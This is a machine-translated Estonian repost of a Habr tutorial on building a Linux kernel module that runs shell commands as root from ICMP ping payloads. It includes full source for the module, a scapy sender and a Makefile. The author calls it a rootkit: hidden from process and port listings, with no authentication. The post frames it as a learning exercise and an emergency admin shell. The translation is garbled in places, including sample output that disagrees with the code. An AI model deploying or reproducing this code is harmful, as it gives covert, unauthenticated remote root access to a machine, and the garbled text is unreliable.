Tuuma shell ICMP peal

Tuuma shell ICMP peal

TL;DR: kirjutan tuumamoodulit, mis loeb ICMP-payload'ist kÀske ja tÀidab neid serveris isegi siis, kui teie SSH kukub alla. Kodeerimine on kogu kodeeringu jaoks github.

Olge ettevaatlik! Kogenud C-programmeerijad vÔivad nutta veretuks pisarateks! VÔin eksida isegi terminoloogias, kuid kÔik kriitika on teretulnud. Postitus on suunatud neile, kes on programmeerimisest C keeles vaid maamÀrkide jÀrgi kuulnud ja soovivad piiluda Linuxi sisemusse.

Minu esimeses kommentaaris artiklis mainiti SoftEther VPN-i, mis suudab peituda mÔnede 'tavaliste' protokollide, sealhulgas HTTPS-i, ICMP-i ja isegi DNS-i alla. Kujutlen ainult esimeselt töötamist, kuna olen hoolsalt tuttav HTTP(S)-ga, ja ICMP- ja DNS-i kaudu tunneldamine tuli mul Ôppida.

Tuuma shell ICMP peal

Jah, ma sain 2020. aastal teada, et ICMP-pakettidesse saab sisestada suvalisi koormusi. Kuid parem hilja kui mitte kunagi! Ja kuna sellega saab midagi teha, tulebki seda teha. Oma igapĂ€evases elus kasutan ma kĂ”ige sagedamini kĂ€suread, sealhulgas SSH kaudu, seega tuli idee ICMP-shelle kĂ”igepealt meelde. Ja et saavutada tĂ€ielik bullshiti bingo, otsustasin kirjutada selle Linuxi moodulina keeles, millest mul on vaid umbkaudne ettekujutus. Selline shell ei ole nĂ€htav protsesside nimekirjas, seda saab laadida tuuma ja see ei asu failisĂŒsteemis, te ei nĂ€e kahtlasi asju kuulamisportide nimekirjas. Oma vĂ”imete poolest on see tĂ€ielik rootkit, kuid ma loodan seda tĂ€iustada ja kasutada viimase lootuse shelle, kui koormus on liiga kĂ”rge, et SSH kaudu sisse logida ja vĂ€hemalt echo i > /proc/sysrq-trigger, et taastada ligipÀÀs ilma taaskĂ€ivitamiseta.

VĂ”tame tekstiredaktori, pĂ”hioskused Pythonis ja C-s, Google'i ja virtuaalmasina utili, mida pole kahju vajadusel hukka saata (valikuline — kohalik VirtualBox / KVM / jne) ja hakkame pihta!

Kliendi osa

Eeldasin, et kliendiosale tuleb kirjutada umbes 80 rida skripti, kuid head inimesed tegid selle minu eest kogu töö. Kood osutus ootamatult lihtsaks, mahub 10 olulisse ritta:

import sys
from scapy.all import sr1, IP, ICMP

if len(sys.argv) < 3:
    print('Kasutus: {} IP "command"'.format(sys.argv[0]))
    exit(0)

p = sr1(IP(dst=sys.argv[1])/ICMP()/"run:{}".format(sys.argv[2]))
if p:
    p.show()

Skript vÔtab vastu kaks argumenti: aadress ja payload. Enne saatmist eelnen payload vÔtmega run:, meil on seda vaja, et vÀlistada pakette juhusliku payloadiga.

Kernel vajab Ă”igusi pakettide koostamiseks, seega tuleb skript kĂ€ivitada administraatori Ă”igustes. Ära unusta anda kĂ€itamisĂ”igused ja installida scapy. Debiani sĂŒsteemis on pakett nimega python3-scapy. NĂŒĂŒd saab kontrollida, kuidas see kĂ”ik töötab.

KÀivitamine ja kÀsu vÀljund
morq@laptop:~/icmpshell$ sudo ./send.py 45.11.26.232 "Tere, maailm!"
KĂ€ivita emissioon:
.LÔpetatud 1 paketi saatmine.
*
Saadud 2 paketti, 1 vastust, 0 paketti jÀÀb
###[ IP ]###
versioon = 4
ihl = 5
tos = 0x0
pikkus = 45
id = 17218
lipud =
frag = 0
ttl = 58
proto = icmp
chk = 0x3403
src = 45.11.26.232
dst = 192.168.0.240
options
###[ ICMP ]###
tĂŒĂŒp = echo-vastus
kood = 0
chk = 0xde03
id = 0x0
seq = 0x0
###[ Raw ]###
koormus = 'jooksuta:Tere, maailm!

Nii see vÀlja nÀeb snifferis
morq@laptop:~/icmpshell$ sudo tshark -i wlp1s0 -O icmp -f "icmp and host 45.11.26.232"
KÀitatakse kasutajana "root" ja grupis "root". See vÔib olla ohtlik.
PĂŒĂŒdmine toimub 'wlp1s0' peal
Raam 1: 59 baiti traadis (472 bitti), 59 baiti pĂŒĂŒtud (472 bitti) liidesel wlp1s0, id 0
Internetiprotokoll Versioon 4, Src: 192.168.0.240, Dst: 45.11.26.232
Interneti kontrollsÔnumi protokoll
TĂŒĂŒp: 8 (Echo (ping) pĂ€ring)
Kood: 0
Kontrollsumma: 0xd603 [Ôige]
[Kontrollsumma olek: Hea]
Identifikaator (BE): 0 (0x0000)
Identifikaator (LE): 0 (0x0000)
JĂ€rjekorra number (BE): 0 (0x0000)
JĂ€rjekorra number (LE): 0 (0x0000)
Andmed (17 baiti)

0000 72 75 6e 3a 48 65 6c 6c 6f 2c 20 77 6f 72 6c 64 run:Hello, world
0010 21 !
Data: 72756e3a48656c6c6f2c20776f726c6421
[Pikkus: 17]

Raam 2: 59 baiti juhtmes (472 bitti), 59 baiti salvestatud (472 bitti) liidese wlp1s0 peal, id 0
Internet Protocol Version 4, Src: 45.11.26.232, Dst: 192.168.0.240
Interneti kontrollsÔnumi protokoll
TĂŒĂŒp: 0 (Echo (ping) vastus)
Kood: 0
Kontrollsumma: 0xde03 [Ôige]
[Kontrollsumma olek: Hea]
Identifikaator (BE): 0 (0x0000)
Identifikaator (LE): 0 (0x0000)
JĂ€rjekorra number (BE): 0 (0x0000)
JĂ€rjekorra number (LE): 0 (0x0000)
[PĂ€ringu raam: 1]
[Vastuse aeg: 19.094 ms]
Andmed (17 baiti)

0000 72 75 6e 3a 48 65 6c 6c 6f 2c 20 77 6f 72 6c 64 run:Hello, world
0010 21 !
Data: 72756e3a48656c6c6f2c20776f726c6421
[Pikkus: 17]

^C2 paketti salvestati

Payload vastuspaketis ei muutu.

Kernelimoodul

Debiani virtuaalkeskkonnas koostamiseks on vajalikud vÀhemalt make ja linux-headers-amd64, kÔik muu installitakse sÔltuvustena. Artiklisse ma koodi tervikuna ei too, saate selle GITHUB-ist kloonida.

Hundi seadistamine

Esiteks vajame kahte funktsiooni, et laadida moodulit ja see vĂ€lja laadida. VĂ€ljaladimise funktsioon ei ole kohustuslik, kuid siis ei saa rmmod rakendada, moodul vĂ€ljastatakse ainult vĂ€lja lĂŒlitamisel.

#include <linux/module.h>
#include <linux/netfilter_ipv4.h>

static struct nf_hook_ops nfho;

static int __init startup(void)
{
  nfho.hook = icmp_cmd_executor;
  nfho.hooknum = NF_INET_PRE_ROUTING;
  nfho.pf = PF_INET;
  nfho.priority = NF_IP_PRI_FIRST;
  nf_register_net_hook(&init_net, &nfho);
  return 0;
}

static void __exit cleanup(void)
{
  nf_unregister_net_hook(&init_net, &nfho);
}

MODULE_LICENSE("GPL");
module_init(startup);
module_exit(cleanup);

Mis siin toimub:

  1. Kaks pealkirjafaili tÔmmatakse mooduli ja netfiltri manipuleerimiseks.
  2. KÔik operatsioonid toimuvad netfiltri kaudu, seal saab seadistada hundid. Selleks on vaja mÀÀrata struktuur, millele hundi seadistamine tuginemise. KÔige olulisem on mÀÀrata funktsioon, mis tuleb seadistamise kÀigus tÀita: nfho.hook = icmp_cmd_executor; jÔuan veel funktsiooni juurde.
    Siis mÀÀrasin paketi töötlemise hetke: NF_INET_PRE_ROUTING mÀrkides, et pakett tuleb töödelda kohe, kui see kernelisse ilmub. Saate kasutada NF_INET_POST_ROUTING paketi töötlemiseks kernelist vÀljumisel.
    Panen filtri IPv4 peale: nfho.pf = PF_INET;.
    MÀÀran oma hundile kÔrgeima prioriteedi: nfho.priority = NF_IP_PRI_FIRST;
    Ja registreerin andmestruktuuri kui tegelikult hĂŒbriid: nf_register_net_hook(&init_net, &nfho);
  3. LĂ”ppfunktsioonis hĂŒbriid eemaldatakse.
  4. Litsents on selgelt mÀÀratletud, et kompilaator ei nuriseks.
  5. Funktsioonid module_init() ja module_exit() moodustavad teised funktsioonid mooduli alguse ja lÔpetamise.

Payloadi vÀljavÔtt

NĂŒĂŒd on vaja ekstraktida payload, see osutus kĂ”ige keerulisemaks ĂŒlesandeks. SĂŒsteemis ei ole sisseehitatud funktsioone payloadiga töötamiseks, saab ainult analĂŒĂŒsida kĂ”rgema taseme protokollide pealkirju.

#include <linux/ip.h>
#include <linux/icmp.h>

#define MAX_CMD_LEN 1976

char cmd_string[MAX_CMD_LEN];

struct work_struct my_work;

DECLARE_WORK(my_work, work_handler);

static unsigned int icmp_cmd_executor(void *priv, struct sk_buff *skb, const struct nf_hook_state *state)
{
  struct iphdr *iph;
  struct icmphdr *icmph;

  unsigned char *user_data;
  unsigned char *tail;
  unsigned char *i;
  int j = 0;

  iph = ip_hdr(skb);
  icmph = icmp_hdr(skb);

  if (iph->protocol != IPPROTO_ICMP) {
    return NF_ACCEPT;
  }
  if (icmph->type != ICMP_ECHO) {
    return NF_ACCEPT;
  }

  user_data = (unsigned char *)((unsigned char *)icmph + (sizeof(icmph)));
  tail = skb_tail_pointer(skb);

  j = 0;
  for (i = user_data; i != tail; ++i) {
    char c = *(char *)i;

    cmd_string[j] = c;

    j++;

    if (c == ' ')
      break;

    if (j == MAX_CMD_LEN) {
      cmd_string[j] = ' ';
      break;
    }

  }

  if (strncmp(cmd_string, "run:", 4) != 0) {
    return NF_ACCEPT;
  } else {
    for (j = 0; j <= sizeof(cmd_string)/sizeof(cmd_string[0])-4; j++) {
      cmd_string[j] = cmd_string[j+4];
      if (cmd_string[j] == ' ')
	break;
    }
  }

  schedule_work(&my_work);

  return NF_ACCEPT;
}

Mis toimub:

  1. Pidin lisama tÀiendavaid pealkirju, seekord IP- ja ICMP-pealkirjade manipuleerimiseks.
  2. MÀÀran maksimaalse rea pikkuse: #define MAX_CMD_LEN 1976. Miks just selline? Sest suurema pikkuse puhul nuriseb kompilaator! Keegi on juba soovitanud mul tegeleda virna ja kuhjaga, kunagi kindlasti teen seda ja vÔib-olla isegi parandan koodi. Otse mÀÀran rea, kuhu paigutatakse kÀsk: char cmd_string[MAX_CMD_LEN];. See peab olema nÀhtav kÔigis funktsioonides, sellest rÀÀgin pÔhjalikumalt punktis 9.
  3. NĂŒĂŒd tuleb initsialiseerida (struct work_struct my_work;) struktuur ja siduda see veel ĂŒhe funktsiooniga (DECLARE_WORK(my_work, work_handler);). RÀÀgin ka sellest, miks see vajalik on, ĂŒheksandas punktis.
  4. NĂŒĂŒd kuulutan vĂ€lja funktsiooni, mis ongi hook. TĂŒĂŒp ja vastuvĂ”etavad argumendid dikteeritakse netfiltri poolt, meid huvitab ainult skb. See on soketibufar, pĂ”histruktuur, mis sisaldab kĂ”iki saadaval olevaid andmeid paketi kohta.
  5. Funktsiooni töö jaoks on vaja kahte struktuuri ja mÔnda muutujat, sealhulgas kahte iteraatorit.
      struct iphdr *iph;
      struct icmphdr *icmph;
    
      unsigned char *user_data;
      unsigned char *tail;
      unsigned char *i;
      int j = 0;
  6. VÔime jÀtkata loogikaga. Mooduli tööks pole vaja muid pakette peale ICMP Echo, seega parsim bufri sisseehitatud funktsioonide abil ja viskame kÔik mitte-ICMP ja mitte-Echo paketid vÀlja. Tagastamine NF_ACCEPT tÀhendab paketi aktsepteerimist, kuid vÔite ka paketid Àra visata, tagastades NF_DROP.
      iph = ip_hdr(skb);
      icmph = icmp_hdr(skb);
    
      if (iph->protocol != IPPROTO_ICMP) {
        return NF_ACCEPT;
      }
      if (icmph->type != ICMP_ECHO) {
        return NF_ACCEPT;
      }

    Ma ei ole kontrollinud, mis juhtub ilma IP-peade kontrollita. Minu minimaalne C-keele teadmine ĂŒtleb, et ilma tĂ€iendavate kontrollideta juhtub kindlasti midagi kohutavat. Mul oleks hea meel, kui te mind selles veenaksite!

  7. NĂŒĂŒd, kui pakett on tĂ€pselt Ă”ige, saab andmeid vĂ€lja vĂ”tta. Ilma sisseehitatud funktsioonita tuleb esmalt saada osutaja koormuse algusele. See toimub lĂ€bi ĂŒhe koha, tuleb vĂ”tta osutaja ICMP pĂ€ise algusele ja nihutada see selle pĂ€ise suuruse vĂ”rra. KĂ”ike seda kasutatakse struktuuri kaudu. icmph: user_data = (unsigned char *)((unsigned char *)icmph + (sizeof(icmph)));
    PÀise lÔpp peab langema kasuliku koormuse lÔpu peale skb, seega saame selle tuumimeetodite abil vastavast struktuurist: tail = skb_tail_pointer(skb);.

    Tuuma shell ICMP peal

    Pildi tĂ”in Ă€ra siit, vĂ”ite lugeda rohkem socket’i puhasti kohta.

  8. Saades osutajad algusele ja lÔppu, saab andmed kopeerida stringi cmd_string, kontrollida selle olemasolu eelneva tÀhega run: ja kas visata pakett vÀlja, kui see puudub, vÔi kirjutada string uuesti, eemaldades selle eelneva tÀhe.
  9. Noh, nĂŒĂŒd saab kutsuda veel ĂŒhe kĂ€sitleja: schedule_work(&my_work);. Kuna korralduseks ei saa parameetrit edastada, peab kĂ€sk string olema globaalne. schedule_work() paigutab funktsiooni, mis on seotud edastatud struktuuriga, ĂŒlesande ajakava ĂŒldisse jĂ€rjekorda ja lĂ”peb, vĂ”imaldades oota kĂ€su tĂ€itmist. See on vajalik, kuna hook peab olema vĂ€ga kiire. Vastasel juhul ei kĂ€ivitu midagi vĂ”i saate kernel panic'i. Iga viivitus vĂ”ib olla saatuslik!
  10. KÔik, saate vastava tagastusega paki vastu vÔtta.

Programmi kÀivitamine kasutusruumis

See funktsioon on kĂ”ige arusaadavam. Selle nimi on mÀÀratud DECLARE_WORK(), tĂŒĂŒp ja vastuvĂ”etavad argumendid ei huvita. VĂ”tame kĂ€surea ja edastame selle tĂ€ielikult shellile. Las ta lahendab parsing'u, binaaride otsimise ja kĂ”ik muu.

static void work_handler(struct work_struct * work)
{
  static char *argv[] = {"/bin/sh", "-c", cmd_string, NULL};
  static char *envp[] = {"PATH=/bin:/sbin", NULL};

  call_usermodehelper(argv[0], argv, envp, UMH_WAIT_PROC);
}

  1. Seame argumentidega stringi massiivi argv[]. Eeldan, et kÔik teavad, et programmid tegelikult tÀidetakse just nii, mitte lihtsalt pideva stringina ruumide vahel.
  2. Seame keskkonnamuutujad. Panin ainult PATH minimeeritud teede kogumiga, lootes, et kĂ”igil on need juba ĂŒhendatud /bin koos /usr/bin ja /sbin koos /usr/sbin. Muud teed on praktikas ĂŒsna harva olulised.
  3. Valmis, kĂ€ivitame! Kerneli funktsioon call_usermodehelper() vĂ”tab sisendiks failitee, argumentide massiivi ja keskkonna muutuja massiivi. Siin ma eeldan ka, et kĂ”ik saavad aru, et tĂ€itevfaili tee edastamine eraldi argumendina on vajalik, aga vĂ”ite kĂŒsida. Viimane argument nĂ€itab, kas oodata protsessi lĂ”petamist (UMH_WAIT_PROC), protsessi kĂ€ivitamist (UMH_WAIT_EXEC) vĂ”i mitte oodata ĂŒldse (UMH_NO_WAIT). Veel on olemas UMH_KILLABLE, aga ma ei hakanud sellega sĂŒvitsi minema.

Koostamine

Kerneli moodulite koostamine toimub sama kerneli make-raamistiku kaudu. See kutsub esile make spetsiaalses kaustas, mis on seotud kerneli versiooniga (mÀÀratakse siit: KERNELDIR:=/lib/modules/$(shell uname -r)/build), ja mooduli asukoht edastatakse muutujana M argumentides. Icmpshell.ko ja clean sihiks kasutatakse tĂ€ielikult seda raamistiku. obj-m mÀÀrab objekti fail, mis muudetakse mooduliks. SĂŒntaks, mis muudab main.o ĂŒhes icmpshell.o (icmpshell-objs = main.o) tundub mulle mitte vĂ€ga loogiline, aga las olla.

KERNELDIR:=/lib/modules/$(shell uname -r)/build

obj-m = icmpshell.o
icmpshell-objs = main.o

all: icmpshell.ko

icmpshell.ko: main.c
make -C $(KERNELDIR) M=$(PWD) modules

clean:
make -C $(KERNELDIR) M=$(PWD) clean

Koostame: make. Laadime: insmod icmpshell.ko. Valmis, saab kontrollida: sudo ./send.py 45.11.26.232 "date > /tmp/test". Kui teie masinas on vÀlja tekkinud fail /tmp/test ja, ning selles on pÀringu saatmise kuupÀev, mis tÀhendab, et te tegite kÔik Ôigesti ja ma tegin kÔik Ôigesti.

KokkuvÔte

Minu esimene kogemus tuumaarenduses oli palju lihtsam, kui ma ootasin. Isegi ilma C arenduskogemuseta, tuginedes kompilaatori vihjetele ja Google'i tulemusele, suutsin ma kirjutada töötava mooduli ja tunda end tuumahĂ€kkerina, samas ka skripditiitina. Lisaks sellele kĂŒlastasin Kernel Newbies kanalit, kus mulle soovitati kasutada schedule_work() tĂ€iendavalt kutsumiseks call_usermodehelper() otse ise konksu sees ja mind naljatati, Ă”igustatult kahtlustades petuskeemi. Saja rea kood maksis mulle rohkem kui nĂ€dal vabade pĂ€evade arendust. Edukas kogemus, mis lĂ”hkus minu isikliku mĂŒĂŒdi sĂŒsteemse arenduse ĂŒlemÀÀra keerukusest.

Kui keegi nĂ”ustub GitHubis koodi ĂŒle vaatama, oleksin tĂ€nulik. Olen peaaegu kindel, et tegin palju tobe vigu, eriti stringidega töötamisel.

Tuuma shell ICMP peal

Allikas: habr.com

Osta usaldusvÀÀrne veebihosting DDoS kaitsega, VPS VDS serverid đŸ”„ Osta usaldusvÀÀrne veebihosting DDoS kaitsega, VPS VDS serverid | ProHoster